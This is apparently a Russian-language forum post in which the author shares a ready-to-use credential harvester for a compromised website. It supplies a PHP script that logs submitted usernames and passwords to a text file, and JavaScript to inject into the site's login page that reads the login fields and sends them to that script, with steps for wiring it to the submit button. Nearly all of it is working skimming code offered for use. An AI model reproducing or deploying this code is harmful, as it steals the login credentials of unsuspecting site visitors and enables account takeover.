Сохранил свою наработку. Сборщик кредов. Работать будет только если у вас есть доступ к файловой системе зараженного сайта, из-за проблем с кросс-доменностью js. Идеально было бы через php файл отвечающий за вход воспроизводить всю логику, тогда можно было бы отправлять запросы на удаленный сервер, но это был не мой вариант..

Файл для приема кредов php:

<?php

$file = 'log.txt';
$content = $_GET["user"]."|".$_GET["pass"].PHP_EOL;
file_put_contents($file, $content, FILE_APPEND | LOCK_EX);

Где log.txt — файл для сохранения данных, далее обработка данных которые мы отправляем в get запросе.

(не забудьте создать файл log.txt в той же директории)

Далее инфицирующий js:

<script>
function Send()
{
var user = document.getElementById('usernameLogin').value;
var pass = document.getElementById('loginPasswordLabel').value;
var xmlHttp = new XMLHttpRequest();
xmlHttp.onreadystatechange = function() {
if (xmlHttp.readyState == 4 && xmlHttp.status == 200)
callback(xmlHttp.responseText);
}
xmlHttp.open("GET", '<SITEANDPATH>/log.php?user='+user+'&pass='+pass, true); // true for asynchronous
xmlHttp.send(null);
}
</script>

Здесь usernameLogin и loginPasswordLabel id инпутов с кредами на странице авторизации соответственно.  <SITEANDPATH> — замените на свой путь до файла log.php

И в конце не забудьте добавить к кнопке submit onclick=»Send()«